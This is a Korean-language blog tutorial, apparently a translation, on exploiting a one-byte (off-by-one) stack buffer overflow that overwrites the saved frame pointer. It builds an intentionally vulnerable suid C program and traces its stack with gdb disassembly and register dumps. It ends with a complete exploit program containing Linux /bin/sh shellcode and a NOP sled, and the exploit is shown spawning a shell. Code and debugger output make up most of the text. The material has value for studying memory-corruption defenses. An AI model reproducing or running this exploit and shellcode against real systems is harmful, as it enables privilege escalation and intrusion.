버퍼들은 오버플로우될 수 있다. 그리고 타겟 프로세스의 주소공간에 저장되어 있는중요한 데이터를 오버플로우 시킴으로써 타겟 프로세스의 실행흐름을 변경할 수 있다.이것은 오래된 이야기다.
이 문서는 어떻게 버퍼 오버플로우를 일으키게 하는가에 대한 것도 아니고 취약점 그 자체를 설명하는 것도 아니다. 이 문서는 타겟 버퍼가 단지 1바이트만 오버플로우될 수 있는 최악의 상황에서도 이 취약점을 이용할 수 있다는 것을 증명한다.
아무런 특권이 없을 때를 포함한 어떤 최악의 상황에서도 신용있는 프로세스를 이용하는수 많은 심오한 테크닉들이 존재한다.우리는 여기서 1바이트 오버플로우만을 다룰 것이다.
[ 공격의 목적 ]
가상의 취약성있는 suid프로그램을 작성하자. 그리고 그것을 "suid"라 하자.
이것은 이것의 버퍼로부터 단지 1바이트만 오버플로우될 수 있게 작성되었다.
ipdev:~/tests$ cat > suid.c
#include <stdio.h>
func(char *sm)
{
char buffer[256];
int i;
for(i=0;i<=256;i++)
buffer[i]=sm[i];
}
main(int argc, char *argv[])
{
if (argc < 2) {
printf("missing args\n");
exit(-1);
}
func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$
여러분도 알 수 있듯이, 우리는 이 프로그램을 이용하는데 있어서 많은 공간을 가지지 못한다.
사실, 오버플로우는 버퍼의 저장공간으로부터 단지 1바이트만을 초과함으로써 일어난다. 우리는 이 1바이트를 현명하게 사용해야 할 것이다.
어떤 것을 이용하기 전에, 우리는 이 1바이트가 실제로 무엇을 덮어쓰는지 살펴보아야 한다(여러분은 아마도 그것을 이미 알지도 모르지만). 오버플로우가 일어날 때, gdb를 이용해 스택을 어셈블해보자.
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb)
우리 모두가 알듯이, CALL 명령이 요구하기 때문에, 프로세서는 먼저 %eip를 스택에 집어넣을 것이다. 그런 다음, *0x8048134에서 보여지듯 이 작은 프로그램은 %ebp를 %eip위에 집어 넣는다. 마지막으로 그것은 %esp를 0x104만큼 감소시킴으로써 지역 프레임을 활성화 시킨다. 이것은 우리의 지역변수들이 0x104의 크기를 가질 것을 의미한다(0x100은 문자열를 위한 공간크기, 0x004는 정수를 위한 공간크기)
그 변수들은 물리적으로 처음 4바이트를 차지하므로 255바이트의 버퍼는 256바이트의 버퍼만큼의 공간을 차지한다는 것을 명심해야 한다. 우리는 이제 오버플로우가 일어나기 전의 스택의 모습이 다음과 같다고 말할 수 있다:
saved_ebp
char buffer[255]
char buffer[254]
...
char buffer[000]
int i
이것은 오버플로우하는 바이트가 저장된 프레임 포인터(saved_ebp)를 덮어쓸 것을 의미한다. 또한 저장된 프레임 포인터(saved_ebp)는 func()함수를 시작할 때 스택에 집어 넣어졌었다.
하지만 어떻게 이 1바이트가 프로그램의 실행흐름을 바꿀수 있는가?
자 이제, %ebp의 상(image)에 어떤 일이 일어나는지 살펴보자. 우리는 *0x804817e에서 볼 수 있듯이 func()함수가 끝날때 %ebp가 복귀된다는 것을 이미 알고 있다. 하지만 그 다음은 어떻게 될것인가?
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb)
훌륭하다! main()함수의 끝에서 func()함수가 불려진 후에, *0x80481b1에서 보여지듯 %ebp의 값은 %esp에 저장될 것이다. 이것은 우리가 %esp를 임의의 값으로 설정할 수 있다는 것을 뜻한다. 하지만 기억해라. 이 임의의 값은 진짜로 임의의 값이 아니다. 왜냐하면 당신은 %esp의 바이트 중 마지막 바이트만을 수정할 수 있기 때문이다.
우리가 맞는지 확인해 보자.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `overflow 257`
Starting program: /home/klog/tests/suid `overflow 257`
Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp 0xbffffd45 0xbffffd45
(gdb)
우리가 맞은 것처럼 보인다. 'A'(0x41)문자 하나로 버퍼를 오버플로우 한 후에, %ebp는 %esp로 옮겨졌다. %ebp가 RET바로 앞에서 스택으로부터 꺼내져지기 때문에 %esp는 4만큼 증가한다. 이것은 0xbffffd41 + 0x4 = 0xbffffd45라는 것을 알려준다.
[ 준비하기 ]
스택포인터를 변경함으로써 무엇을 얻을 수 있는가? 우리는 어느 전통적인 버퍼 오버플로우와 같이 저장된 %eip를 직접적으로 바꿀 수 없다. 하지만 우리는 프로세서가 그것이 다른 곳에 있다고 생각하게 할 수는 있다. 프로세서가 프로시저로부터 돌아올때, 스택에 있는 첫번째 워드를 단순히 꺼낸다, 그것이 원래의 %eip라고 생각하면서. 하지만, 우리가 %esp를 바꾸면, 우리는 프로세서가 스택으로부터 어떤 값도 마치 그것이 %eip인 것처럼, 꺼내게 할 수 있다.
그렇게 함으로써 실행흐름을 바꿀 수 있다. 다음의 문자열을 이용해 버퍼 오버플로우를 계획해 보자.
[nops][shellcode][&shellcode][%ebp_altering_byte]
이것을 하기 위해서는, 우리는 먼저 %ebp (%esp도 마찬가지)를 어떤 값으로 바꾸길 원하는지를 결정해야 한다. 버퍼 오버플로우가 일어났을 때, 스택이 어떤 구조가 될지 살펴보자 :
saved_eip
saved_ebp (altered by 1 byte)
&shellcode \
shellcode | char buffer
nops /
int i
여기서, 우리는 프로세서가 main()함수로부터 돌아올때, 쉘코드의 주소가 스택으로부터 꺼내어져 %eip에 저장되게 하기 위해, 우리는 %esp가 &shellcode를 가리키기를 원한다.
우리는 이 취약한 프로그램을 어떻게 이용하는 가에 대한 모든 지식을 갖추고 있기 때문에, 우리는 이 프로그램이 이용될 때의 상황에서 돌아가는 프로세스의 정보를 추출할 필요가 있다. 이 정보는 오버플로우된 버퍼의 주소와 우리의 쉘코드를 가리키는 포인터의 주소(&shellcode) 로 이루어져 있다. 그 프로그램이 257바이트 길이의 문자열로 오버플로우되도록 그 프로그램을 실행해 보자.
이것을 하기 위해서는, 우리가 그 취약한 프로세스를 이용하는 상황을 재현할 가짜 프로그램을 작성해야 한다.
(gdb) q
ipdev:~/tests$ cat > fake_exp.c
#include <stdio.h>
#include <unistd.h>
main()
{
int i;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=256;i++)
{
buffer[i] = 'A';
}
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.
Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp 0xbffffc60 0xbffffc60
(gdb)
성공이다. 우리는 이제 func의 프레임이 활성화 된 후의 %esp를 알고 있다.
이 값으로부터, 우리는 우리의 버퍼가 0xbffffc60 + 0x04 ('int i'의 크기) = 0xbffffc64에 위치하고 있다는 것을 이제 추측할 수 있다. 그리고 또한 우리의 쉘코드를 가리키는 포인터는 0xbffffc64 + 0x100 ('char buffer[256]'의 크기) - 0x04 (쉘코드 포인터크기) = 0xbffffd60 에 자리잡고 있다는 것을 추측할 수 있다.
[ 본격적인 공격 ]
저런 값들을 아는 것은 쉘코드, 쉘코드 포인터 그리고 덮어쓰는 1바이트를 포함한 완성된 버전의 이용프로그램을 작성하는것을 가능하게 해 준다. 저장된 %ebp의 마지막 바이트를 덮어쓰는데 필요한 값은 0x60 - 0x04 = 0x5c가 될것이다.
왜냐하면, 여러분도 기억하듯이, 우리는 main()함수에서 돌아오기 바로전에 %ebp를 스텍에서 꺼내기 때문이다.
이 4바이트는 %ebp가 스택으로부터 제거되는 것을 보충할 것이다. 우리의 쉘코드를 가리키는 포인터에 관해서는, 우리는 그것이 정확한 주소를 가리키게 할 필요가 없다. 우리가 필요한 것은 보통의 버퍼 오버플로우와 같이 프로세서가, 오버플로우된 버퍼의 시작(0xbfffc64)과 우리의 쉘코드(0xbffffc64 - sizeof(shellcode)) 사이에 있는 nops의 한 가운데로 되돌아 오게 만드는 것이다.
0xbffffc74를 이용하자.
ipdev:~/tests$ cat > exp.c
#include <stdio.h>
#include <unistd.h>
char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
main()
{
int i, j;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=(252-sizeof(sc_linux));i++)
{
buffer[i] = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer[i] = sc_linux[j];
}
buffer[i++] = 0x74; /*
buffer[i++] = 0xfc; * Address of our buffer
buffer[i++] = 0xff; *
buffer[i++] = 0xbf; */
buffer[i++] = 0x5c;
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$
훌륭하다! 실제로 무엇이 일어났는지 더 자세히 살펴보자. 비록 우리가 내가 이 문서에서 쓴 이론을 가지고 프로그램을 작성하였지만, 모든 것이 일치하는 것을 보는 것은 멋진 일일 것이다. 만약에 바로 전에 설명된 모든 것을 이해 했다면, 바로 지금 그만 읽고 취약점을찾는 일을 시작해도 좋다.
ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)
먼저 suid프로그램의 이용프로그램에 우리 눈 앞에서 어떤 일이 벌어지는가 주의 깊게 살펴보기 위해 멈추는 지점(breakpoint)를 몇 개 설정하자. 우리는 우리의 쉘코드가실행되기 시작할 때까지 덮어 쓰여진 프레임 포인터의 값을 따르도록 해야 한다.
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
저 첫번째 멈추는 지점(breakpoint)들은 스택으로부터 꺼내지기 전과 후의 %ebp의 내용을 살펴볼 수 있게 해 줄 것이다. 이 값들은 원래의 값과 덮어 쓰여진 값에 해당한다.
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <_IO_printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)
여기서 우리는 덮어 쓰워진 %ebp가 %esp로 전송되는 것과 main()함수로부터 돌아올때까지의 %esp의 내용을 살펴보기를 원한다. 프로그램을 실행시켜 보자.
(gdb) c
Continuing.
Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp 0xbffffd64 0xbffffd64
(gdb) c
Continuing.
Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp 0xbffffd60 0xbffffd60
(gdb)
처음에는, 우리는 원래의 %ebp값을 보게 된다. 스택에서 꺼내진 후에는, 우리는 우리의 오버플로우하는 문자열의 마지막 바이트인 0x5c에 의해 덮어 쓰여진 한바이트로 그것이 대체되는 것을 볼 수 있다. 그런 후에, %ebp는 %esp로 옮겨지고마지막으로 %ebp가 스택에서 다시 꺼내진 후에, %esp는 4만큼 증가한다.
그것으로부터 우리는 마지막 값인 0xbffffd60을 얻을 수 있다. 거기서 무엇이 성립하는지 살펴보자.
0xbffffd60 <__collate_table+3086619092>: 0xbffffc74
(gdb) x/10 0xbffffc74
0xbffffc74 <__collate_table+3086618856>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc84 <__collate_table+3086618872>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc94 <__collate_table+3086618888>: 0x90909090
0x90909090
(gdb)
우리는 0xbffffd60이 쉘코드 바로 앞에 있는 nops의 한 가운데를 가리키고 있는 포인터의 실제 주소라는 것을 알 수 있다. 프로세서가 main()함수로부터 돌아올때, 그것은 이 포인터를 꺼내어 %eip로 저장할 것이고, 정확하게 0xbffffc74로 이동할것이다. 이것은 우리의 쉘코드가 실행될 때이다.
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$
[ 결론 ]
이 테크닉이 멋진 것 처럼 보인다 해도, 몇 몇 문제들이 풀리지 않은 채 남아있다.
단지 1바이트만을 덮어 쓰면서 프로그램의 실행흐름을 변경한다는 것은 분명히 가능하다. 하지만 어떤 상황에서도? 사실은 적대적인 환경에서 이용프로그램을 작성하는 것은 어려운 작업이 될 수도 있다. 원격 호스트에서라면 최악이다.
우리는 타겟 프로세스의 정확한 스택의 크기를 추측해야 한다. 우리는 오버플로우된 버퍼가 저장된 프레임 포인터 바로 옆에 위치해야 하는 필요성도 또한 이 문제이다. 이것은 함수에서 그것이 첫번째로 선언된 변수이어야 한다는 것을 의미한다. 말할 필요도 없이, 꽉 채우는 것 또한 고려해야 한다. 그리고 빅 인디언 방식의 아키텍처들을
공격하는 것은 어떨까? 만약 우리가 이 바뀐 주소에 도달할 능력이 없다면, 우리는 프레임 포인터의 가장 중요한 바이트를 덮어쓰는 것이 불가능하다...
결론은 상황을 이용하기에 거의 불가능한 것으로부터 이끌어 질 수 있었다. 비록 내가 누군가가 이 테크닉을 실제의 취약점에 적용을 했다는 말을 듣고 놀란다 하더라도, 그것은 크고 작은 오버플로우같은 것들은 없으며 크고 작은 취약점 또한 없다는 것을 우리에게 증명해 주는 셈이 될 것이다. 어떠한 취약점도 이용될 수 있다. 여러분이 필요한것은 방법을 찾아 내는 것이다.
'[☩ Security ☩]' 카테고리의 다른 글
다이렉트 / 크로스 케이블 만들기 (0) | 2008.02.04 |
---|---|
Format String의 이해 (2) | 2008.02.04 |
Password Crack의 이해와 정보 (0) | 2008.02.04 |
Unix Password 의 구조와 crack 및 대응법 (0) | 2008.02.04 |
윈도우즈 버퍼오버플로어(Windows bufferoverflow) (0) | 2008.02.04 |